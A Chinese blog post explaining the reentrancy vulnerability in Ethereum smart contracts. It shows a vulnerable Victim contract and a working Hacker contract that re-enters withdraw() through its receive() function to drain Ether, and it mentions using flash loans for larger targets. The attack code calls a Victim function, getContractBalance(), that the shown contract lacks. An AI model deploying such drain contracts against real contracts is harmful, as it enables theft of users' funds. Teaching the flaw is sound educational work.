• 重入漏洞Victim


    重入漏洞

    顾名思义,重入漏洞可以简单理解为“重新进入的漏洞”。举个简单的例子,你往某个合约里存入了1个Ether,然后点击退款,按理来说只能退一个Ether,但是可以利用重入漏洞反复退款,把合约里的Ether掏空。
    以下,是一个有重入漏洞的合约,合约命名为Victim(受害者),主要实现几个功能:1)存款:用户往合约里存款,并给用户在合约里的账户记账(加);2)查询此合约的存款余额;3)取款:将用户之前存入的Ether转给用户并记账(减)。

    //SPDX-License-Identifier: MIT
    pragma solidity ^0.8.13;
    
    contract Victim {
        mapping(address => uint256) public balance;
    
        function deposit() public payable {//存款函数
            balance[msg.sender] += msg.value;//存款后往用户账户上记账
        }
    
        function getBalance(address account) public view returns (uint256) {//查看余额函数
            return balance[account];//返回用户账上的记录
        }
    
        function withdraw() public {//取款函数
            uint256 currentBalance = balance[msg.sender];//获取用户当前在合约里的余额并赋值给currentBalance
            require(currentBalance > 0);//要求用户当前在合约的余额大于0
    
            (bool successful, ) = msg.sender.call{value: currentBalance}("");//调用call函数给用户退款(转Ether),如果成功就赋值successful为true
            require(successful, "Failed to withdraw Ether");//要求successful为true
    
            balance[msg.sender] = 0;//记账:将用户当前在合约里的余额清空
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24

    问题出在这三行:

    (bool successful, ) = msg.sender.call{value: currentBalance}("");//调用call函数给用户退款(转Ether),如果成功就赋值successful为true
    require(successful, "Failed to withdraw Ether");//要求successful为true
    balance[msg.sender] = 0;//记账:将用户当前在合约里的余额清空
    
    • 1
    • 2
    • 3

    第一行中,受害合约使用call给合约调用者转Ether,但是并不知道调用受害合约的是钱包地址(EOA)还是合约地址(contract)。如果调用受害合约的退款函数的是一个合约地址,那么可以做文章的地方就来了。

    合约和钱包地址不太一样,并不是默认接收Ether的。一个合约要想接受别人发送的Ether,需要有receive函数或者fallback函数,也就是说,一个能接受Ether的合约在接收Ether的时候并非是被动接受,还会调用函数

    这一点我之前是没想通的,为什么给一个合约发送Ether还会调用对方的函数。如果是现实世界举例子,就像是你给一个公司的账户转账,会触发对方设定的一些条款(比如让你继续转账)。但是这就是Ethereum的特性。

    如果我是攻击者,该怎么做?在我自己的合约的receive或者fallback函数里进行攻击。我在Goerli测试网部署的攻击合约如下,命名为Hacker(黑客):

    //SPDX-License-Identifier: MIT
    pragma solidity ^0.8.13;
    
    //不方便引入,所以直接把Victim合约复制过来了
    import "./victim.sol";
    
    contract Hacker {
        address owner;
        Victim victim;
        constructor (address _victim) {
            owner = msg.sender;
            victim = Victim(_victim);
        }
        modifier onlyOwner {
            require(msg.sender == owner);
            _;
        }
    
        function getBalance() public view returns(uint256) {
            return address(this).balance;
        }
    
        receive() external payable {
            if (victim.getContractBalance() >= 1 ether) {//①决定了漏洞合约里最终剩多少钱,一般是下面的msg.value减去这里的数值
                victim.withdraw();
            }
        }
    
        function attack() public payable onlyOwner {
            require(msg.value >= 1 ether);
            victim.deposit{value:msg.value}();//②这里的msg.value不能超过上面①处的数值,否则循环的最后一次漏洞合约里的Ether不够,转账失败,整个攻击就失败了
            victim.withdraw();
        }
    
        function withdrawToHacker() public onlyOwner {
            payable(msg.sender).transfer(address(this).balance);
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38

    在重入的时候,每次退款的数额似乎会有不同的结果,我模拟的结果显示:往漏洞合约里转100E,然后分别使用1E/2E/4E/5E/10E(都能整除100)重入,只有10E成功,其他都报错了(可能和循环次数/堆栈有关?)。针对这种情况,如果目标合约里Ether较少,用自有资金攻击即可,但是如果目标合约的Ether较多,可能需要配合使用闪电贷。

  • 相关阅读:
    MySQL高可用方案之MHA
    慢 SQL 优化之索引的作用是什么?
    IP归属地在金融行业的应用场景
    GPU是什么?GPU有多重要?
    设计模式14、命令模式 Command
    Matlab论文插图绘制模板第46期—帕累托图(Pareto)
    【基于HTML5的网页设计及应用】——实现个人简历表格和伪类选择器应用
    《微信小程序-进阶篇》Lin-ui组件库的安装与引入
    【408计算机组成原理】—进位计数制(二)
    Linux--基础IO(2)
  • 原文地址:https://blog.csdn.net/weixin_44217936/article/details/134012905